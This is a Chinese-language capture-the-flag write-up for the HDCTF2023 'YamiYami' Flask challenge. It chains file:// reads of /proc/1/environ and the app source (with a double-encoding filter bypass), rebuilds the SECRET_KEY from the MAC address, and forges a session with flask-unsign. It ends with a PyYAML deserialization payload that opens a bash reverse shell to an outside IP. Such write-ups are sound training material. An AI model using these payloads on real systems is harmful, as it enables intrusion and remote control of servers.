[hdctf2023]YamiYami

1

开题发现三个连接。

点击Read something页面自动跳转,发现url变成

http://node4.anna.nssctf.cn:28907/read?url=https://baidu.com

非预期

我们可以在这个界面直接读取环境变量文件发现flag

payload:

http://node4.anna.nssctf.cn:28907/read?url=file:///proc/1/environ

2

预期解

我们尝试读取/app/app.py文件,发现关键字app被过滤,这里尝试url两次编码绕过。

payload:

http://node4.anna.nssctf.cn:28907/read?url=file:///%2561%2570%2570%2F%2561%2570%2570%252E%2570%2579

读取到app.py源文件

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="[/read?url=https://baidu.com](view-source:http://node2.anna.nssctf.cn:28427/read?url=https://baidu.com)">Read somethings</a>
<br>
Here is the challenge <a href="[/upload](view-source:http://node2.anna.nssctf.cn:28427/upload)">Upload file</a>
<br>
Enjoy it <a href="[/pwd](view-source:http://node2.anna.nssctf.cn:28427/pwd)">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

分析代码可以发现。

在/boogipop路由发现yaml.full_load(f)可知这里可以pyyaml反序列化,还需要修改session[passport]=Welcome To HDCTF2023.然后传参file=你上传的文件就能反序列化其中的内容。

session伪造

首先,我们尝试伪造session。

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

发现SECRET_KEY生成的逻辑。

其中uuid.getnode()是返回本机的MAC地址。然后以这个内容作为随机数的种子,按后续的规则生成随机数作为SECRET_KEY.

我们可以借助上边发现的这个任意文件读取的漏洞,读取这个/sys/class/net/eth0/address就能发现本机的MAC地址。

payload:

http://node4.anna.nssctf.cn:28907/read?url=file:////sys/class/net/eth0/address

#02:42:ac:02:bc:52

还原SECRET_KEY

import random  
random.seed(0x0242ac02bc52)
print(str(random.random()*233))

#224.544010919

现在拿到了session,我们可以借助工具伪造session

flask-unsign -u -c eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZebNjg.1mv2s09TkzM5usTKu3h-krLiexU

#Session decodes to: {'passport': 'YamiYami'}
flask-unsign --sign --cookie "{'passport':'Welcome To HDCTF2023'}" --secret '224.544010919'

#eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZebTGA.fVx-mnq1kcSzVFIjyak_7sKfrH8

yaml反序列化

!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"(exec bash -i &>/dev/tcp/91.219.215.229/60760 0>&1) &\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list

利用网上的脚本,成功反弹shell

1231